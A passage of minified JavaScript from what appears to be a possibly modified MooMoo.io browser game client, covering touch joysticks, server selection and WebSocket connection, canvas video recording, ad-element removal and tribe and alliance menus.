x: this.parentIsFlex ? i.x : i.x + this.box.left,
y: this.parentIsFlex ? i.y : i.y + this.box.top,
};
if (t.x && t.y)
o = {
x: t.x - r.x,
y: t.y - r.y,
};
else if (t.top || t.right || t.bottom || t.left) {
var s = document.createElement("DIV");
(s.style.display = "hidden"),
(s.style.top = t.top),
(s.style.right = t.right),
(s.style.bottom = t.bottom),
(s.style.left = t.left),
(s.style.position = "absolute"),
a.zone.appendChild(s);
var l = s.getBoundingClientRect();
a.zone.removeChild(s),
(o = t),
(t = {
x: l.left + i.x,
y: l.top + i.y,
});
}
var c = new he(this, {
color: a.color,
size: a.size,
threshold: a.threshold,
fadeTime: a.fadeTime,
dataOnly: a.dataOnly,
restJoystick: a.restJoystick,
restOpacity: a.restOpacity,
mode: a.mode,
identifier: n,
position: t,
zone: a.zone,
frontPosition: {
x: 0,
y: 0,
},
shape: a.shape,
});
return (
a.dataOnly || (ir(c.ui.el, o), ir(c.ui.front, c.frontPosition)),
this.nipples.push(c),
this.trigger("added " + c.identifier + ":added", c),
this.manager.trigger("added " + c.identifier + ":added", c),
this.bindNipple(c),
c
);
}),
(ae.prototype.updateBox = function () {
var t = this;
t.box = t.options.zone.getBoundingClientRect();
}),
(ae.prototype.bindNipple = function (t) {
var n,
i = this,
o = function (t, o) {
(n = t.type + " " + o.id + ":" + t.type), i.trigger(n, o);
};
t.on("destroyed", i.onDestroyed.bind(i)),
t.on("shown hidden rested dir plain", o),
t.on("dir:up dir:right dir:down dir:left", o),
t.on("plain:up plain:right plain:down plain:left", o);
}),
(ae.prototype.pressureFn = function (t, n, i) {
var o = this,
a = 0;
clearInterval(o.pressureIntervals[i]),
(o.pressureIntervals[i] = setInterval(
function () {
var i = t.force || t.pressure || t.webkitForce || 0;
i !== a &&
(n.trigger("pressure", i),
o.trigger("pressure " + n.identifier + ":pressure", i),
(a = i));
}.bind(o),
100
));
}),
(ae.prototype.onstart = function (t) {
var n = this,
i = n.options,
o = t;
(t = ao(t)), n.updateBox();
var a = function (a) {
n.actives.length < i.maxNumberOfNipples
? n.processOnStart(a)
: o.type.match(/^touch/) &&
(Object.keys(n.manager.ids).forEach(function (i) {
if (
0 >
Object.values(o.touches).findIndex(function (t) {
return t.identifier === i;
})
) {
var a = [t[0]];
(a.identifier = i), n.processOnEnd(a);
}
}),
n.actives.length < i.maxNumberOfNipples && n.processOnStart(a));
};
return zn(t, a), n.manager.bindDocument(), !1;
}),
(ae.prototype.processOnStart = function (t) {
var n,
i = this,
o = i.options,
a = i.manager.getIdentifier(t),
r = t.force || t.pressure || t.webkitForce || 0,
s = {
x: t.pageX,
y: t.pageY,
},
l = i.getOrCreate(a, s);
l.identifier !== a && i.manager.removeIdentifier(l.identifier),
(l.identifier = a);
var c = function (n) {
n.trigger("start", n),
i.trigger("start " + n.id + ":start", n),
n.show(),
r > 0 && i.pressureFn(t, n, n.identifier),
i.processOnMove(t);
};
if (
((n = i.idles.indexOf(l)) >= 0 && i.idles.splice(n, 1),
i.actives.push(l),
i.ids.push(l.identifier),
"semi" !== o.mode)
)
c(l);
else if (fi(s, l.position) <= o.catchDistance) c(l);
else {
l.destroy(), i.processOnStart(t);
return;
}
return l;
}),
(ae.prototype.getOrCreate = function (t, n) {
var i,
o = this.options;
return /(semi|static)/.test(o.mode)
? (i = this.idles[0])
? (this.idles.splice(0, 1), i)
: "semi" === o.mode
? this.createNipple(n, t)
: (console.warn("Coudln't find the needed nipple."), !1)
: (i = this.createNipple(n, t));
}),
(ae.prototype.processOnMove = function (t) {
var n = this.options,
i = this.manager.getIdentifier(t),
o = this.nipples.get(i),
a = this.manager.scroll;
if (!wh(t)) {
this.processOnEnd(t);
return;
}
if (!o) {
console.error("Found zombie joystick with ID " + i),
this.manager.removeIdentifier(i);
return;
}
if (n.dynamicPage) {
var r = o.el.getBoundingClientRect();
o.position = {
x: a.x + r.left,
y: a.y + r.top,
};
}
o.identifier = i;
var s = o.options.size / 2,
l = {
x: t.pageX,
y: t.pageY,
};
n.lockX && (l.y = o.position.y), n.lockY && (l.x = o.position.x);
var c,
d,
h = fi(l, o.position),
u = mh(l, o.position),
p = Bn(u),
f = h / s,
$ = {
distance: h,
position: l,
};
if (
("circle" === o.options.shape
? ((c = Math.min(h, s)), (d = gh(o.position, c, u)))
: ((d = xh(l, o.position, s)), (c = fi(d, o.position))),
n.follow)
) {
if (h > s) {
let g = l.x - d.x,
m = l.y - d.y;
(o.position.x += g),
(o.position.y += m),
(o.el.style.top = o.position.y - (this.box.top + a.y) + "px"),
(o.el.style.left = o.position.x - (this.box.left + a.x) + "px"),
(h = fi(l, o.position));
}
} else (l = d), (h = c);
var _ = l.x - o.position.x,
k = l.y - o.position.y;
(o.frontPosition = {
x: _,
y: k,
}),
n.dataOnly ||
(o.ui.front.style.transform = "translate(" + _ + "px," + k + "px)");
var v = {
identifier: o.identifier,
position: l,
force: f,
pressure: t.force || t.pressure || t.webkitForce || 0,
distance: h,
angle: {
radian: p,
degree: u,
},
vector: {
x: _ / s,
y: -k / s,
},
raw: $,
instance: o,
lockX: n.lockX,
lockY: n.lockY,
};
((v = o.computeDirection(v)).angle = {
radian: Bn(180 - u),
degree: 180 - u,
}),
o.trigger("move", v),
this.trigger("move " + o.id + ":move", v);
}),
(ae.prototype.processOnEnd = function (t) {
var n = this,
i = n.options,
o = n.manager.getIdentifier(t),
a = n.nipples.get(o),
r = n.manager.removeIdentifier(a.identifier);
a &&
(i.dataOnly ||
a.hide(function () {
"dynamic" === i.mode &&
(a.trigger("removed", a),
n.trigger("removed " + a.id + ":removed", a),
n.manager.trigger("removed " + a.id + ":removed", a),
a.destroy());
}),
clearInterval(n.pressureIntervals[a.identifier]),
a.resetDirection(),
a.trigger("end", a),
n.trigger("end " + a.id + ":end", a),
n.ids.indexOf(a.identifier) >= 0 &&
n.ids.splice(n.ids.indexOf(a.identifier), 1),
n.actives.indexOf(a) >= 0 && n.actives.splice(n.actives.indexOf(a), 1),
/(semi|static)/.test(i.mode)
? n.idles.push(a)
: n.nipples.indexOf(a) >= 0 &&
n.nipples.splice(n.nipples.indexOf(a), 1),
n.manager.unbindDocument(),
/(semi|static)/.test(i.mode) && (n.manager.ids[r.id] = r.identifier));
}),
(ae.prototype.onDestroyed = function (t, n) {
this.nipples.indexOf(n) >= 0 &&
this.nipples.splice(this.nipples.indexOf(n), 1),
this.actives.indexOf(n) >= 0 &&
this.actives.splice(this.actives.indexOf(n), 1),
this.idles.indexOf(n) >= 0 && this.idles.splice(this.idles.indexOf(n), 1),
this.ids.indexOf(n.identifier) >= 0 &&
this.ids.splice(this.ids.indexOf(n.identifier), 1),
this.manager.removeIdentifier(n.identifier),
this.manager.unbindDocument();
}),
(ae.prototype.destroy = function () {
for (var t in (this.unbindEvt(this.options.zone, "start"),
this.nipples.forEach(function (t) {
t.destroy();
}),
this.pressureIntervals))
this.pressureIntervals.hasOwnProperty(t) &&
clearInterval(this.pressureIntervals[t]);
this.trigger("destroyed", this.nipples),
this.manager.unbindDocument(),
this.off();
}),
(de.prototype = new Ve()),
(de.constructor = de),
(de.prototype.prepareCollections = function () {
var t = this;
(t.collections.create = t.create.bind(t)),
(t.collections.on = t.on.bind(t)),
(t.collections.off = t.off.bind(t)),
(t.collections.destroy = t.destroy.bind(t)),
(t.collections.get = function (n) {
var i;
return (
t.collections.every(function (t) {
return !(i = t.get(n));
}),
i
);
});
}),
(de.prototype.create = function (t) {
return this.createCollection(t);
}),
(de.prototype.createCollection = function (t) {
var n = new ae(this, t);
return this.bindCollection(n), this.collections.push(n), n;
}),
(de.prototype.bindCollection = function (t) {
var n,
i = this,
o = function (t, o) {
(n = t.type + " " + o.id + ":" + t.type), i.trigger(n, o);
};
t.on("destroyed", i.onDestroyed.bind(i)),
t.on("shown hidden rested dir plain", o),
t.on("dir:up dir:right dir:down dir:left", o),
t.on("plain:up plain:right plain:down plain:left", o);
}),
(de.prototype.bindDocument = function () {
var t = this;
t.binded ||
(t.bindEvt(document, "move").bindEvt(document, "end"), (t.binded = !0));
}),
(de.prototype.unbindDocument = function (t) {
var n = this;
(Object.keys(n.ids).length && !0 !== t) ||
(n.unbindEvt(document, "move").unbindEvt(document, "end"),
(n.binded = !1));
}),
(de.prototype.getIdentifier = function (t) {
var n;
return (
t
? void 0 ===
(n = void 0 === t.identifier ? t.pointerId : t.identifier) &&
(n = this.latest || 0)
: (n = this.index),
void 0 === this.ids[n] && ((this.ids[n] = this.index), (this.index += 1)),
(this.latest = n),
this.ids[n]
);
}),
(de.prototype.removeIdentifier = function (t) {
var n = {};
for (var i in this.ids)
if (this.ids[i] === t) {
(n.id = i), (n.identifier = this.ids[i]), delete this.ids[i];
break;
}
return n;
}),
(de.prototype.onmove = function (t) {
return this.onAny("move", t), !1;
}),
(de.prototype.onend = function (t) {
return this.onAny("end", t), !1;
}),
(de.prototype.oncancel = function (t) {
return this.onAny("end", t), !1;
}),
(de.prototype.onAny = function (t, n) {
var i,
o = this,
a = "processOn" + t.charAt(0).toUpperCase() + t.slice(1);
n = ao(n);
var r = function (t, n, i) {
i.ids.indexOf(n) >= 0 && (i[a](t), (t._found_ = !0));
},
s = function (t) {
(i = o.getIdentifier(t)),
zn(o.collections, r.bind(null, t, i)),
t._found_ || o.removeIdentifier(i);
};
return zn(n, s), !1;
}),
(de.prototype.destroy = function () {
var t = this;
t.unbindDocument(!0),
(t.ids = {}),
(t.index = 0),
t.collections.forEach(function (t) {
t.destroy();
}),
t.off();
}),
(de.prototype.onDestroyed = function (t, n) {
if (0 > this.collections.indexOf(n)) return !1;
this.collections.splice(this.collections.indexOf(n), 1);
});
const nr = new de(),
sr = {
create: function (t) {
return nr.create(t);
},
factory: nr,
};
let rr = !1;
const Ih = (t) => {
if (rr) return;
rr = !0;
let n = document.getElementById("touch-controls-left"),
i = sr.create({
zone: n,
});
i.on("start", t.onStartMoving),
i.on("end", t.onStopMoving),
i.on("move", t.onRotateMoving);
let o = document.getElementById("touch-controls-right"),
a = sr.create({
zone: o,
});
a.on("start", t.onStartAttacking),
a.on("end", t.onStopAttacking),
a.on("move", t.onRotateAttacking),
(n.style.display = "block"),
(o.style.display = "block");
},
Mh = {
enable: Ih,
};
window.loadedScript = !0;
const Eh =
"localhost" !== location.hostname &&
"127.0.0.1" !== location.hostname &&
!location.hostname.startsWith("192.168."),
co =
"sandbox-dev.moomoo.io" === location.hostname ||
"sandbox.moomoo.io" === location.hostname,
Ph =
"dev.moomoo.io" === location.hostname ||
"dev2.moomoo.io" === location.hostname,
Hn = new uc();
let ui, di;
const ki =
"localhost" === location.hostname || "127.0.0.1" === location.hostname,
Ch = !1,
ls = ki || !1;
co
? ((ui = "https://api-sandbox.moomoo.io"), (di = "moomoo.io"))
: Ph
? ((ui = "https://api-dev.moomoo.io"), (di = "moomoo.io"))
: ((ui = "https://api.moomoo.io"), (di = "moomoo.io"));
const Ah = !ls,
qe = new we(di, 443, T.maxPlayers, 5, Ah);
qe.debugLog = !1;
const Me = {
animationTime: 0,
land: null,
lava: null,
x: T.volcanoLocationX,
y: T.volcanoLocationY,
};
function Dh() {
var t;
let n = !1;
return (
(t = navigator.userAgent || navigator.vendor || window.opera),
(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino|android|ipad|playbook|silk/i.test(
t
) ||
/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(
t.substr(0, 4)
)) &&
(n = !0),
n
);
}
const ho = Dh();
let vi = !1,
Fn = !1;
function Oh() {
!ps ||
Fn ||
((Fn = !0),
Eh || ls
? window.turnstileToken
? gn(window.turnstileToken)
: window.grecaptcha.ready(() => {
window.grecaptcha
.execute("6LfahtgjAAAAAF8SkpjyeYMcxMdxIaQeh-VoPATP", {
action: "homepage",
})
.then(function (t) {
gn("re:" + t);
})
.catch(console.error);
})
: gn());
}
let Vn = !1,
WZinfo;
function gn(t) {
qe.start(
bi,
function (n, i, o) {
let a = "wss://" + n;
(WZinfo = n),
t && (a += "?token=" + encodeURIComponent(t)),
ki && (a = "wss://localhost:3000"),
ee.connect(
a,
function (t) {
if (Vn) {
Vn = !1;
return;
}
Vo(), t ? bn(t) : ((vi = !0), bs());
},
{
A: qh,
B: bn,
C: If,
D: Qf,
E: KTA.removePlayer,
a: KTA.updatePlayers,
G: Df,
H: qf,
I: Kf,
J: $f,
K: KTA.weaponHit,
L: KTA.wiggleObject,
M: Xf,
N: eu,
O: KTA.updateHealth,
P: Ef,
Q: KTA.objectDeathManager,
R: Pf,
S: jf,
T: Ro,
U: Oo,
V: To,
X: KTA.addProjectile,
Y: Yf,
Z: ru,
g: Zh,
1: tf,
2: Qh,
3: jh,
4: ef,
5: ff,
6: gf,
7: af,
8: Mf,
9: rf,
0: su,
}
);
},
function (t) {
console.error("Vultr error:", t),
alert(
`Error:
` + t
),
bn("disconnected");
},
ki
);
}
function cs() {
return ee.connected;
}
function Rh() {
let t = prompt("party key", bi);
t &&
((window.onbeforeunload = void 0),
(window.location.href = "/?server=" + t));
}
const _h = new dc(T),
fo = Math.PI,
Ze = 2 * fo;
(Math.lerpAngle = function (t, n, i) {
Math.abs(n - t) > fo && (t > n ? (n += Ze) : (t += Ze));
let o = n + (t - n) * i;
return o >= 0 && o <= Ze ? o : o % Ze;
}),
(CanvasRenderingContext2D.prototype.roundRect = function (t, n, i, o, a) {
return (
i < 2 * a && (a = i / 2),
o < 2 * a && (a = o / 2),
a < 0 && (a = 0),
this.beginPath(),
this.moveTo(t + a, n),
this.arcTo(t + i, n, t + i, n + o, a),
this.arcTo(t + i, n + o, t, n + o, a),
this.arcTo(t, n + o, t, n, a),
this.arcTo(t, n, t + i, n, a),
this.closePath(),
this
);
});
let hs;
function Di(t, n) {
hs && localStorage.setItem(t, n);
}
function Nt(t) {
return hs ? localStorage.getItem(t) : null;
}
"u" > typeof Storage && (hs = !0);
let xi = Nt("moofoll");
function Bh() {
xi || ((xi = !0), Di("moofoll", 1));
}
let uo,
$e,
mt = 1,
be,
It,
yn,
or = Date.now(),
Ee;
const ye = [],
J = [];
let Oe = [];
const et = [],
Mt = [],
po = new gc(Hc, Mt, J, ye, ue, R, T, C),
ar = new yc(ye, wc, J, R, null, T, C);
let E,
mo,
y,
ct = 1,
wn = 0,
go = 0,
yo = 0,
Re,
_e,
lr,
fs = 0,
se = 1.2 * T.maxScreenWidth,
re = 1.2 * T.maxScreenHeight,
gt,
yt,
Jt = !1;
document.getElementById("ad-container");
const Oi = document.getElementById("mainMenu"),
Un = document.getElementById("enterGame"),
kn = document.getElementById("promoImg");
document.getElementById("partyButton");
const vn = document.getElementById("joinPartyButton"),
Ln = document.getElementById("settingsButton"),
cr = Ln.getElementsByTagName("span")[0],
hr = document.getElementById("allianceButton"),
fr = document.getElementById("storeButton"),
ur = document.getElementById("chatButton"),
xt = document.getElementById("gameCanvas"),
M = xt.getContext("2d"),
mediaSource = new MediaSource();
mediaSource.addEventListener("sourceopen", handleSourceOpen, !1);
let mediaRecorder,
recordedBlobs = [],
sourceBuffer;
const canvas = xt,
stream = canvas.captureStream(80);
function handleSourceOpen(t) {
sourceBuffer = mediaSource.addSourceBuffer('video/webm; codecs="hvec"');
}
function handleDataAvailable(t) {
t.data && t.data.size > 0 && recordedBlobs.push(t.data);
}
function handleStop(t) {
download();
}
let toggle = !1;
function toggleRecording() {
!1 == toggle ? startRecording() : stopRecording(), (toggle = !toggle);
}
function startRecording() {
let t = {
mimeType: "video/webm",
};
recordedBlobs = [];
try {
mediaRecorder = new MediaRecorder(stream, t);
} catch (n) {
console.log("Unable to create MediaRecorder with options Object: ", n);
try {
(t = {
mimeType: "video/webm;codecs=h265",
}),
(mediaRecorder = new MediaRecorder(stream, t));
} catch (i) {
console.log("Unable to create MediaRecorder with options Object: ", i);
try {
(t = "video/vp8"), (mediaRecorder = new MediaRecorder(stream, t));
} catch (o) {
alert(
"MediaRecorder is not supported by this browser.\n\nTry Firefox 29 or later, or Chrome 47 or later, with Enable experimental Web Platform features enabled from chrome://flags."
),
console.error("Exception while creating MediaRecorder:", o);
return;
}
}
}
console.log("Created MediaRecorder", mediaRecorder, "with options", t),
(mediaRecorder.onstop = handleStop),
(mediaRecorder.ondataavailable = handleDataAvailable),
mediaRecorder.start(100);
}
function stopRecording() {
mediaRecorder.stop();
}
function download() {
let t = new Blob(recordedBlobs, {
type: "video/webm",
}),
n = window.URL.createObjectURL(t),
i = document.createElement("a");
(i.style.display = "none"),
(i.href = n),
(i.download = "test.mov"),
document.body.appendChild(i),
i.click(),
setTimeout(() => {
document.body.removeChild(i), window.URL.revokeObjectURL(n);
}, 100);
}
var zh = document.getElementById("serverBrowser");
const Nn = document.getElementById("nativeResolution"),
xn = document.getElementById("showPing");
document.getElementById("playMusic");
const Qt = document.getElementById("pingDisplay"),
dr = document.getElementById("shutdownDisplay"),
Zt = document.getElementById("menuCardHolder"),
qt = document.getElementById("guideCard"),
Et = document.getElementById("loadingText"),
us = document.getElementById("gameUI"),
pr = document.getElementById("actionBar"),
Hh = document.getElementById("scoreDisplay"),
Fh = document.getElementById("foodDisplay"),
Vh = document.getElementById("woodDisplay"),
Uh = document.getElementById("stoneDisplay"),
Lh = document.getElementById("killCounter"),
mr = document.getElementById("leaderboardData"),
lb = document.getElementById("leaderboard"),
jt = document.getElementById("nameInput"),
Le = document.getElementById("itemInfoHolder"),
gr = document.getElementById("ageText"),
yr = document.getElementById("ageBarBody"),
ht = document.getElementById("upgradeHolder"),
ri = document.getElementById("upgradeCounter"),
Te = document.getElementById("allianceMenu"),
oi = document.getElementById("allianceHolder"),
ai = document.getElementById("allianceManager"),
me = document.getElementById("mapDisplay"),
Wt = document.getElementById("diedText"),
Nh = document.getElementById("skinColorHolder"),
ce = me.getContext("2d");
document.getElementById("promoImgHolder").remove(),
document.getElementById("skinColorHolder").remove(),
document.getElementsByClassName("menuHeader")[1].remove(),
document.getElementById("altServer").remove(),
document.getElementById("gameName").remove(),
(Zt.style.transform = "translate(-50%, -40%)"),
(Zt.style.position = "absolute"),
(Zt.style.left = "50%"),
(document.getElementsByClassName("menuText")[3].innerHTML =
'Originally developed by <a href="https://yendis.ch/" target="_blank" class="menuLink">Yendis</a>, purchased by <a href="https://frvr.com/" target="_blank" class="menuLink">FRVR</a>.'),
document.getElementById("promoImgHolder")?.remove(),
document.getElementById("linksContainer2")?.remove(),
document.getElementById("promoImgHolder")?.remove(),
document.querySelector("div#menuCard.adCard")?.remove(),
document.getElementById("adCard")?.remove(),
document.getElementById("errorNotification")?.remove(),
document
.querySelectorAll("div[style*='inline-block']")
.forEach((t) => (t.style.display = "block")),
(yr.style.transition = "0.65s ease"),
(me.width = 300),
(me.height = 300);
const We = document.getElementById("storeMenu"),
wr = document.getElementById("storeHolder"),
ft = document.getElementById("noticationDisplay"),
Xt = $r.hats,
Gt = $r.accessories;
var ue = new mc(kc, et, C, T);
const ei = "#525252",
kr = "#3d3f42",
Xe = 5.5;
function qh(t) {
Oe = t.teams;
}
T.DAY_INTERVAL,
T.DAY_INTERVAL,
(document.getElementById("bottomContainer").style = `
bottom: 15px;
`);
let ds = !0;
var ps = !1;
function bn(t) {
(vi = !1), ee.close(), ms(t);
}
function ms(t, n) {
(Oi.style.display = "block"),
(us.style.display = "none"),
(Zt.style.display = "none"),
(Wt.style.display = "none"),
(Et.style.display = "block"),
(Et.innerHTML =
t +
(n
? "<a href='javascript:window.location.href=window.location.href' class='ytLink'>reload</a>"
: ""));
}
function Wh() {
(Qt.hidden = !0),
(Et.style.display = "none"),
(Oi.style.display = "block"),
(Zt.style.display = "block"),
uf(),
Xh(),
Af(),
(Et.style.display = "none"),
(Zt.style.display = "block");
let t = Nt("moo_name") || "";
!t.length &&
FRVR.profile &&
(t = FRVR.profile.name()) &&
(t += Math.floor(90 * Math.random()) + 9),
(jt.value = t || "");
}
function Xh() {
(Un.onclick = C.checkTrusted(function () {
ms("Connecting..."), cs() ? bs() : Oh();
})),
C.hookTouchEvents(Un),
kn &&
((kn.onclick = C.checkTrusted(function () {
Lo("https://krunker.io/?play=SquidGame_KB");
})),
C.hookTouchEvents(kn)),
vn &&
((vn.onclick = C.checkTrusted(function () {
setTimeout(function () {
Rh();
}, 10);
})),
C.hookTouchEvents(vn)),
(Ln.onclick = C.checkTrusted(function () {
pf();
})),
C.hookTouchEvents(Ln),
(hr.onclick = C.checkTrusted(function () {
nf();
})),
C.hookTouchEvents(hr),
(fr.onclick = C.checkTrusted(function () {
hf();
})),
C.hookTouchEvents(fr),
(ur.onclick = C.checkTrusted(function () {
Mo();
})),
C.hookTouchEvents(ur),
(me.onclick = C.checkTrusted(function () {
Ao();
})),
C.hookTouchEvents(me);
}
(!ls || ki) && (ps = !0),
(window.onblur = function () {
ds = !1;
}),
(window.onfocus = function () {
(ds = !0), E && E.alive && xs();
}),
(window.captchaCallbackHook = function () {
ps = !0;
}),
window.captchaCallbackComplete && window.captchaCallbackHook(),
window.addEventListener("keydown", function (t) {
32 == t.keyCode && t.target == document.body && t.preventDefault();
}),
(xt.oncontextmenu = function () {
return !1;
}),
[
"touch-controls-left",
"touch-controls-right",
"touch-controls-fullscreen",
"storeMenu",
].forEach((t) => {
document.getElementById(t) &&
(document.getElementById(t).oncontextmenu = function (t) {
t.preventDefault();
});
});
let bi;
const Gh = {
view() {
if (!qe.servers) return;
let t = 0,
n = Object.keys(qe.servers).map((n) => {
let i = qe.regionInfo[n].name,
o = 0,
a = qe.servers[n].map((t) => {
var a;
o += t.playerCount;
let r = t.selected,
s =
i + " " + t.name + " [" + Math.min(t.playerCount, 50) + "/50]",
l = t.name;
t.ping && (null == (a = t.pings) ? void 0 : a.length) >= 2
? (s += ` [${Math.floor(t.ping)}ms]`)
: r || (s += " [?]");
let c = {
value: n + ":" + l,
};
return (
(r ? "selected" : "") && ((bi = n + ":" + l), (c.selected = !0)),
Ne("option", c, s)
);
});
return (
(t += o),
[
Ne("option[disabled]", `${i} - ${o} players`),
a,
Ne("option[disabled]"),
]
);
});
return Ne(
"select",
{
value: bi,
onfocus() {
window.blockRedraw = !0;
},
onblur() {
window.blockRedraw = !1;
},
onchange: Kh,
},
[n, Ne("option[disabled]", `All Servers - ${t} players`)]
);
},
};
Ne.mount(zh, Gh);
const Yh = `${ui}/servers?v=1.22`,
wo = async () =>
fetch(Yh)
.then((t) => t.json())
.then(async (t) => qe.processServers(t))
.catch((t) => {
console.error("Failed to load server data with status code:", t);
}),
$h = () =>
wo()
.then(Wh)
.catch((t) => {
console.error("Failed to load.");
});
window.frvrSdkInitPromise
.then(() => window.FRVR.bootstrapper.complete())
.then(() => $h());
const Kh = (t) => {
if (
((window.blockRedraw = !1), FRVR.channelCharacteristics.allowNavigation)
) {
let [n, i] = t.target.value.split(":");
qe.switchServer(n, i);
} else vi && ((vi = !1), (Fn = !1), (Vn = !0), (Ei = !0), ee.close());
};
function Jh() {
FRVR.ads.show("interstitial", bs);
}
function Se(t, n, i) {
if (E && t) {
if (
(C.removeAllChildren(Le),
Le.classList.add("visible"),
C.generateElement({
id: "itemInfoName",
text: C.capitalizeFirst(t.name),
parent: Le,
}),
C.generateElement({
id: "itemInfoDesc",
text: t.desc,
parent: Le,
}),
!i)
) {
if (n)
C.generateElement({
class: "itemInfoReq",
text: t.type ? "secondary" : "primary",
parent: Le,
});
else {
for (let o = 0; o < t.req.length; o += 2)
C.generateElement({
class: "itemInfoReq",
html:
t.req[o] +
"<span class='itemInfoReqVal'> x" +
t.req[o + 1] +
"</span>",
parent: Le,
});
let a = co
? t.group.sandboxLimit || Math.max(3 * t.group.limit, 99)
: t.group.limit;
t.group.limit &&
C.generateElement({
class: "itemInfoLmt",
text: (E.itemCounts[t.group.id] || 0) + "/" + a,
parent: Le,
});
}
}
} else Le.classList.remove("visible");
}
document.getElementById("pre-content-container"), (window.showPreAd = Jh);
let Pt = [],
wt = [];
function Qh(t, n) {
Pt.push({
sid: t,
name: n,
}),
gs();
}
function gs() {
if (Pt[0]) {
let t = Pt[0];
C.removeAllChildren(ft),
(ft.style.display = "block"),
C.generateElement({
class: "notificationText",
text: t.name,
parent: ft,
}),
C.generateElement({
class: "notifButton",
html: "<i class='material-icons' style='font-size:28px;color:#cc5151;'></i>",
parent: ft,
onclick: function () {
Gn(0);
},
hookTouch: !0,
}),
C.generateElement({
class: "notifButton",
html: "<i class='material-icons' style='font-size:28px;color:#8ecc51;'></i>",
parent: ft,
onclick: function () {
Gn(1);
},
hookTouch: !0,
});
} else ft.style.display = "none";
}
function Zh(t) {
Oe.push(t), "block" == Te.style.display && ti();
}
let teamz = [];
function jh(t, n) {
E && ((E.team = t), (E.isOwner = n), "block" == Te.style.display && ti());
}
function ef(t) {
(wt = t), "block" == Te.style.display && ti();
}
function tf(t) {
for (let n = Oe.length - 1; n >= 0; n--) Oe[n].sid == t && Oe.splice(n, 1);
"block" == Te.style.display && ti();
}
function nf() {
xs(), "block" != Te.style.display ? ti() : Xn();
}
function Xn() {
"block" == Te.style.display && (Te.style.display = "none");
}
function ti() {
if (E && E.alive) {
if (
(Ri(),
(We.style.display = "none"),
(Te.style.display = "block"),
C.removeAllChildren(oi),
E.team)
)
for (var t = 0; t < wt.length; t += 2)
!(function (t) {
let n = C.generateElement({
class: "allianceItem",
style:
"color:" + (wt[t] == E.sid ? "#fff" : "rgba(255,255,255,0.6)"),
text: wt[t + 1],
parent: oi,
});
E.isOwner &&
wt[t] != E.sid &&
C.generateElement({
class: "joinAlBtn",
text: "Kick",
onclick: function () {
ko(wt[t]);
},
hookTouch: !0,
parent: n,
});
})(t);
else if (Oe.length)
for (var t = 0; t < Oe.length; ++t)
!(function (t) {
let n = C.generateElement({
class: "allianceItem",
style:
"color:" +
(Oe[t].sid == E.team ? "#fff" : "rgba(255,255,255,0.6)"),
text: Oe[t].sid,
parent: oi,
});
C.generateElement({
class: "joinAlBtn",
text: "Join",
onclick: function () {
vo(t);
},
hookTouch: !0,
parent: n,
});
})(t);
else
C.generateElement({
class: "allianceItem",
text: "No Tribes Yet",
parent: oi,
});
C.removeAllChildren(ai),
E.team
? C.generateElement({
class: "allianceButtonM",
style: "width: 360px",
text: E.isOwner ? "Delete Tribe" : "Leave Tribe",
onclick: function () {
xo();
},
hookTouch: !0,
parent: ai,
})
: (C.generateElement({
tag: "input",
type: "text",
id: "allianceInput",
maxLength: 7,
placeholder: "unique name",
onchange(t) {
t.target.value = (t.target.value || "").slice(0, 7);
},
onkeypress(t) {
if ("Enter" === t.key) return t.preventDefault(), Yn(), !1;
},
parent: ai,
}),
C.generateElement({
tag: "div",
class: "allianceButtonM",
style: "width: 140px;",
text: "Create",
onclick: function () {
Yn();
},
hookTouch: !0,
parent: ai,
}));
}
}
function Gn(t) {
ee.send("P", Pt[0].sid, t), Pt.splice(0, 1), gs();
}
